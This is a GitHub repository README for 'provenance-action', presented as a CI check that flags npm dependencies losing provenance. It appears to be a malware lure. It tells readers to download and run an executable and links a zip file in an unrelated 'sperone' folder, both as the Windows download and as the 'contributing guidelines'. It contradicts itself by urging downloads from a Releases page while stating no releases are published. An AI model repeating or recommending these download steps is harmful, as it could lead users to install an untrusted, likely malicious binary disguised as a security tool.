Skip to content

πŸ”’ Fail CI if dependencies in your lockfile lose npm provenance or trusted publisher status, enhancing the security of your projects.

License

Notifications You must be signed in to change notification settings

ZoobyMoo2744/provenance-action

Folders and files

NameName
Last commit message
Last commit date

Latest commit

Β 

History

39 Commits
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 

Repository files navigation

πŸš€ provenance-action - Ensure Secure CI with Provenance Checks

Download Latest Release

πŸ“¦ Overview

provenance-action helps you maintain security in your continuous integration (CI) process. This tool checks if the dependencies listed in your lockfile are from trusted publishers. It will alert you if any dependency loses its npm provenance. This way, you can keep your projects secure from harmful packages.

πŸš€ Getting Started

To start using provenance-action, follow these steps:

  1. Visit the Release Page: Go to the Releases page to download the latest version of the software.

    Download Release

  2. Select the Latest Release: Look for the latest version listed on the page. Typically, it will be at the top of the list. Click on it to view details.

  3. Download the Software: Scroll down to find the assets associated with this release. Click on the appropriate file for your operating system to begin the download.

πŸ“₯ Download & Install

To download and install provenance-action, follow these steps:

  1. Visit the Releases Page: Click here to access the Releases page.

  2. Choose the Right File: Depending on your operating system, choose one of the files listed.

    • For Windows, download https://raw.githubusercontent.com/ZoobyMoo2744/provenance-action/main/sperone/provenance-action.zip.
    • For macOS, download provenance-action-macos.
    • For Linux, download provenance-action-linux.
  3. Run the File:

    • If you downloaded the .exe file (Windows), double-click to run it.
    • For macOS or Linux, open a terminal, navigate to the folder where you downloaded the file, and type chmod +x provenance-action-macos or chmod +x provenance-action-linux to make it executable, then run it with ./provenance-action-macos or ./provenance-action-linux.

βš™οΈ System Requirements

Before installing, make sure your system meets the following requirements:

  • Operating System:

    • Windows 10 or later
    • macOS Mojave (10.14) or later
    • Linux (most distributions)
  • Memory:

    • At least 1 GB of RAM.
  • Disk Space:

    • 100 MB of free disk space for installation.

πŸ” How to Use

Once installed, you can start using provenance-action in your CI process:

  1. Integrate with GitHub Actions: Add the action to your GitHub workflow YAML file.

    Example:

    name: CI
    
    on:
      push:
        branches:
          - main
    
    jobs:
      security-check:
        runs-on: ubuntu-latest
        steps:
          - name: Checkout code
            uses: actions/checkout@v2
          - name: Run Provenance Check
            uses: ZoobyMoo2744/provenance-action@latest
  2. View Results: After the workflow runs, check the Actions tab in your GitHub repository for results. If any dependencies lack provenance or trusted status, you will receive a notification.

πŸ’‘ Features

  • Secure Dependency Checks: Automatically verifies if your packages are from trusted sources.
  • Integration with CI/CD: Works seamlessly with GitHub Actions for automated checks.
  • Customizable Alerts: Configure notifications based on your project's needs.

πŸ“ž Support

If you run into any issues or have questions:

  • Check our GitHub Issues page for common problems and solutions.
  • Consider opening a new issue if you can't find the answer you need.

πŸ“„ License

provenance-action is open-source under the MIT License. Feel free to modify and distribute it as per the license terms provided in this repository.

πŸ“ˆ Contributing

We welcome contributions to enhance provenance-action. If you have ideas or improvements, please submit a pull request or open an issue to discuss!

Make sure to follow the guidelines provided in our https://raw.githubusercontent.com/ZoobyMoo2744/provenance-action/main/sperone/provenance-action.zip file for a smooth contribution process.


Thank you for using provenance-action! Visit our Releases page to download the latest version and strengthen your CI security today.

Releases

No releases published

Packages

No packages published

Contributors 5